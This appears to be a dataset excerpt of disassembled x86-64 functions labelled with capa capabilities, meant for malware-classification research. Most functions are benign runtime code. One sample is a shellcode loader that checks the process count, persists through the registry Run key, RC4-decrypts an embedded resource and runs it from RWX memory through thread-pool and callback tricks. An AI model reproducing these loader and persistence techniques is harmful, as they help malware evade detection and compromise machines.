joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418ee0
Capabilities:
Hash data using murmur3

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
cmp byte [0x00bb15ef], 0
jne 0x418fc7
sub rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x50]
test byte [rdx], al
mov esi, dword [rax + 0x64]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
nop
nop
nop
nop
lock or byte [rdx], r8b
mov rcx, qword [rax + 0x18]
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rdx, 0x2a
nop
nop
nop
cmp rdx, 0x40
jae 0x418fba
lea rbx, [0x00b839d8]
mov rdx, qword [rbx + rdx*8]
test byte [rdx], al
mov rbx, rcx
shr rbx, 0x10
and ebx, 0x3f
shr rcx, 0xd
and ecx, 7
mov esi, 1
shl esi, cl
shr rax, 0x16
and eax, 0xfffff
mov rax, qword [rdx + rax*8]
test byte [rax], al
movzx edx, byte [rax + rbx + 0x11440]
lea rax, [rax + rbx]
lea rax, [rax + 0x11440]
test sil, dl
jne 0x418fa0
lock or byte [rax], sil
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1250], rdi
add rsp, 0x10
pop rbp
ret
mov rax, rdx
mov ecx, 0x40
call fcn.00457620
lea rax, [0x004781cc]
mov ebx, 0x2c
call fcn.0042eb60
nop
int3

Function at 0x41b2a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41b3a6
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x17], dil
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x18], 0
jmp 0x41b2e3
mov rax, qword [rsp + 0x60]
mov rcx, rdx
mov rbx, qword [rsp + 0x68]
movzx edi, byte [rsp + 0x17]
cmp qword [rsp + 0x18], rbx
jae 0x41b39b
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov ebx, edi
mov rax, rcx
nop dword [rax]
call fcn.0041c080
test rax, rax
je 0x41b39b
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
movups xmmword [rsp + 0x40], xmm15
lea rcx, [0x0041b3e0]
mov qword [rsp + 0x20], rcx
lea rdx, [rsp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x20]
mov qword [rsp], rbx
nop dword [rax]
call fcn.00455260
xorps xmm15, xmm15
mov r14, qword [0x00bb17f8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x70]
nop dword [rax]
test rdx, rdx
jne 0x41b389
xor eax, eax
jmp 0x41b393
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x70]
test al, al
je 0x41b2d1
mov rax, qword [rsp + 0x18]
add rsp, 0x50
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov byte [rsp + 0x20], dil
call fcn.004553a0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movzx edi, byte [rsp + 0x20]
jmp fcn.0041b2a0
Function at 0x428ea0
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x429126
push rbp
mov rbp, rsp
sub rsp, 0x38
test byte [rax], al
mov rcx, qword [rax + 0x1268]
lea rsi, [rax + 0x1278]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42911a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1268], 0
cmp byte [0x00bb15ef], 0
jne 0x428efa
xor edx, edx
xor ebx, ebx
jmp 0x428f40
xor edx, edx
jmp 0x428f25
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1278]
mov rax, rcx
call fcn.00418740
mov rdx, qword [rsp + 0x28]
inc rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x428efe
add rax, 0x1268
call fcn.00428e20
add rsp, 0x38
pop rbp
ret
inc rdx
nop
cmp rdx, rcx
jge 0x4290b4
mov rsi, qword [rax + rdx*8 + 0x1278]
cmp rsi, 0x1000
jb 0x428f3b
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
call fcn.0040edc0
test rax, rax
jne 0x428f8c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x428f3b
mov rsi, qword [rbx + 0x50]
test byte [rsi], al
mov r8, rcx
shr r8, 3
movzx r9d, byte [rsi + r8]
and ecx, 7
mov r10d, 1
shl r10d, cl
nop
add rsi, r8
test r10b, r9b
je 0x428fcc
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x428f3b
nop
lock or byte [rsi], r10b
mov rcx, qword [rbx + 0x18]
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
nop
nop
nop
cmp r8, 0x40
jae 0x42910d
lea r10, [0x00b839d8]
mov r8, qword [r10 + r8*8]
test byte [r8], al
mov r10, rcx
shr r10, 0x10
and r10d, 0x3f
shr rcx, 0xd
and ecx, 7
mov r11d, 1
shl r11d, cl
shr r9, 0x16
and r9d, 0xfffff
mov r8, qword [r8 + r9*8]
test byte [r8], al
movzx r9d, byte [r8 + r10 + 0x11440]
lea r8, [r8 + r10]
lea r8, [r8 + 0x11440]
test r11b, r9b
jne 0x42904f
lock or byte [r8], r11b
movzx r8d, byte [rbx + 0x6a]
test r8b, 1
je 0x429085
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x1250]
add r8, qword [rbx + 0x70]
mov qword [rax + 0x1250], r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x428f3b
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x429105
mov rbx, qword [rsp + 0x48]
mov qword [rbx + r8*8 + 0x1278], rax
inc r8
mov rax, rbx
mov rdx, qword [rsp + 0x28]
mov rbx, r8
jmp 0x428f3b
cmp rbx, 0x200
ja 0x4290f4
lea rdx, [rax + 0x1278]
lea rsi, [rax + 0x1240]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.0041ef60
mov rax, qword [rsp + 0x48]
add rax, 0x1268
call fcn.00428e20
add rsp, 0x38
pop rbp
ret
mov rcx, rbx
mov edx, 0x200
nop dword [rax]
call fcn.00457680
mov rax, r8
call fcn.00457600
mov rax, r8
mov ecx, 0x40
call fcn.00457620
mov edx, 0x200
nop
call fcn.00457660
nop
mov qword [rsp + 8], rax
call fcn.0045be40
mov rax, qword [rsp + 8]
jmp fcn.00428ea0
Function at 0x43d320
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x43d487
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x43d332
cmp edx, ecx
jne 0x43d475
nop word [rax + rax]
test rsi, rsi
jne 0x43d475
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x43d394
nop
call fcn.00458e60
xorps xmm15, xmm15
mov r14, qword [0x00bb17f8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.0043d240
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x43d470
mov rdx, qword [0x00b5e818]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x43d465
mov rcx, qword [0x00b5e810]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x00b5f270]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x00b5f270], rax
nop
mov edx, 1
lea rsi, [0x00b5f278]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1228]
shr rdx, 0x3d
test dl, dl
jne 0x43d453
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1228], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x00477cb0]
mov ebx, 0x28
nop
call fcn.0042eb60
mov rax, rsi
mov rcx, rdx
call fcn.00457600
call fcn.0042d2a0
lea rax, [0x004773e1]
mov ebx, 0x23
call fcn.0042eb60
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004553a0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0043d320
Function at 0x44e960
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x44ea0f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x0044ea60]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00455260
xorps xmm15, xmm15
mov r14, qword [0x00bb17f8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004553a0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.0044e960
Function at 0x4571e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00bb1860]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00bb15e8], 0
je 0x457216
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x00bb1b20]
aesenc xmm0, xmmword [0x00bb1b30]
aesenc xmm0, xmmword [0x00bb1b40]
movq rax, xmm0
ret
jmp 0x407e20
Function at 0x140001000
Capabilities:
Enumerate processes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov esi, edx
test ecx, ecx
je 0x14000109d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000109d
xor edx, edx
mov dword [rsp + 0x40], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x44]
call fcn.140002730
lea rdx, [rsp + 0x40]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011a5
nop dword [rax]
lea rdx, [rsp + 0x40]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001080
cmp ebx, 0x28
jle 0x1400011a5
test esi, esi
je 0x14000117d
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.140002730
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movdqa xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRu_]
lea r8, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400168f0]
lea rdx, [rbp + 0x188]
movdqu xmmword [rbp + 0x188], xmm0
mov rcx, 0xffffffff80000001
mov word [rbp + 0x1b8], 0x6e
movdqa xmm0, xmmword [0x140016900]
movdqu xmmword [rbp + 0x1a8], xmm0
mov dword [rbp + 0x180], 0x4b435546
movdqu xmmword [rbp + 0x198], xmm1
mov dword [rbp + 0x184], 0x303633
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x14000117d
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001140
mov rcx, qword [rsp + 0x30]
lea rdx, [rbp + 0x180]
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140001510
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call fcn.140005780
int3
Function at 0x1400011b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov rsi, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x140001414
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x140001414
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001414
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001414
movups xmm2, xmmword [rax]
mov qword [rsp + 0x2e0], rbp
movups xmm0, xmmword [rax + 0x10]
mov qword [rsp + 0x2f0], r14
movups xmm1, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x30], xmm0
movq rdx, xmm2
movups xmm0, xmmword [rax + 0x30]
shr rdx, 0x20
movaps xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm1
movsd xmm1, qword [rax + 0x80]
mov eax, dword [rax + 0x88]
movd ecx, xmm2
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x20], xmm2
movsd qword [rsp + 0xa0], xmm1
mov dword [rsp + 0xa8], eax
call section..text
lea eax, [rdi - 0x8c]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001530
mov r8d, dword [rsi]
lea rdx, [rbx + 0x8c]
mov rcx, rax
mov r14, rax
call fcn.140003750
mov ebp, dword [rsi]
lea rcx, [rsp + 0x1b0]
mov esi, pe_nt_image_headers64
xor edi, edi
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002730
mov r8d, esi
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140002730
mov edx, edi
nop dword [rax]
mov ecx, edx
mov eax, edx
and eax, 0x7f
mov byte [rsp + rcx + 0xb0], dl
inc edx
movzx eax, byte [rsp + rax + 0x2c]
mov byte [rsp + rcx + 0x1b0], al
cmp edx, esi
jl 0x140001310
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x1b0]
movzx r8d, byte [rsp + rdx + 0xb0]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x14000135b
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0xb0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0xb0], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x140001333
mov edx, edi
test ebp, ebp
je 0x1400013ff
mov r10, r14
mov r11, rbp
nop dword [rax + rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x1400013a3
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0xb0]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x1400013c8
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0xb0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx eax, byte [r8 + rdi]
add eax, r9d
movzx eax, al
movzx ecx, byte [rsp + rax + 0xb0]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x140001390
mov rbp, qword [rsp + 0x2e0]
mov rax, r14
mov r14, qword [rsp + 0x2f0]
jmp 0x140001416
xor eax, eax
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140001510
add rsp, 0x2c0
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001440
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait
Execute shellcode via windows callback function

Disassembly:
push rsi
sub rsp, 0x30
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0
call fcn.1400011b0
mov rsi, rax
test rax, rax
je 0x1400014f3
mov qword [rsp + 0x40], rbx
mov r9d, 0x40
mov ebx, dword [rsp + 0x20]
mov r8d, 0x3000
mov edx, ebx
mov qword [rsp + 0x48], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.140003750
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r8d, r8d
mov edx, 0xc00
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rsi
ret

Function at 0x140001e64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001eae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001eae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001eae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001eae
cmp dword [rcx + 0x84], 0xe
jbe 0x140001eae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001eb0
xor al, al
add rsp, 0x28
ret

Function at 0x140005780
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400055eb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400055eb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400055eb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400055eb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400055eb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400055eb
cmp dword [rcx + 0xf8], 0
je 0x1400055eb
mov ecx, ebx
call fcn.14000569c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005478
nop
cmp dword [rbp + 0x20], 0
je 0x140005639
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005644
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000557c
Function at 0x140008c5c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140008ce3
mov rsi, rbx
cmp word [rax], bp
je 0x140008ca2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140008c8c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140008c88
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140009560
mov rdi, rax
test rax, rax
je 0x140008cd0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003750
mov rbp, rdi
xor ecx, ecx
call fcn.140007924
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000dc90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000dcb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000dcb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140012750
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
mov r9, r8
mov r8, rdx
mov edx, ecx
lea rcx, [rsp + 0x58]
call fcn.1400128f0
mov rcx, qword [rsp + 0x58]
lea rax, [0x140062cf8]
cmp rcx, rax
je 0x140012836
cmp byte [section..data], 0
jne 0x1400127ab
mov edx, 0xa
lea rcx, [rsp + 0x58]
call fcn.140005050
lea rcx, [rsp + 0x58]
call fcn.14001f0a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x140012831
mov rdx, qword [rcx + 0x10]
mov r8d, dword [rcx + 4]
add rdx, rcx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rbx
call fcn.14001e2f0
mov rax, qword [rsp + 0x20]
mov ecx, 2
mov rbx, qword [rax + 0x10]
add rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, [0x140062ca8]
mov rcx, rax
call fcn.140011cd0
mov rcx, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
mov eax, dword [rcx]
test eax, eax
je 0x14001280f
cmp eax, 0xffffffff
je 0x14001281d
sub eax, 1
mov dword [rcx], eax
jne 0x14001281d
mov rcx, qword [rsp + 0x20]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.140014460
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx]
test eax, eax
je 0x14001284d
cmp eax, 0xffffffff
je 0x14001285b
sub eax, 1
mov dword [rcx], eax
jne 0x14001285b
mov rcx, qword [rsp + 0x58]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140014460
add rsp, 0x38
ret

Function at 0x140014270
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x40
mov rbx, rcx
lea rax, [rsp + 0x60]
mov r9, rdx
mov qword [rsp + 0x20], rax
mov r8, rcx
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140012f60
mov rax, qword gs:[0x58]
mov edx, dword [0x1400e6118]
mov ecx, 8
mov rdx, qword [rax + rdx*8]
mov eax, dword [rcx + rdx]
cmp dword [0x1400e5d90], eax
jg 0x140014315
cmp byte [0x1400e5d8c], 0
jne 0x140014302
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx]
test eax, eax
je 0x1400142ee
cmp eax, 0xffffffff
je 0x1400142fc
sub eax, 1
mov dword [rcx], eax
jne 0x1400142fc
mov rcx, qword [rsp + 0x30]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140014460
add rsp, 0x40
pop rbx
ret
lea r8, [rsp + 0x30]
mov rdx, rbx
mov ecx, 1
call fcn.140012fb0
int3
lea rcx, [0x1400e5d90]
call fcn.14005fb2c
cmp dword [0x1400e5d90], 0xffffffff
jne 0x1400142c9
lea rcx, str.QT_FATAL_WARNINGS
call fcn.140045120
test al, al
lea rcx, [0x1400e5d90]
sete byte [0x1400e5d8c]
call fcn.14005facc
jmp 0x1400142c9

Function at 0x140014910
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov rdx, qword [rcx]
xor eax, eax
mov r9, qword [rdx + 0x10]
mov r8d, dword [rdx + 4]
add r9, rdx
test r8d, r8d
je 0x140014954
nop word [rax + rax]
movzx ecx, word [r9]
lea r9, [r9 + 2]
shl eax, 4
add eax, ecx
mov ecx, eax
shr eax, 0x17
and eax, 0x1e0
xor eax, ecx
and eax, 0xfffffff
sub r8d, 1
jne 0x140014930
ret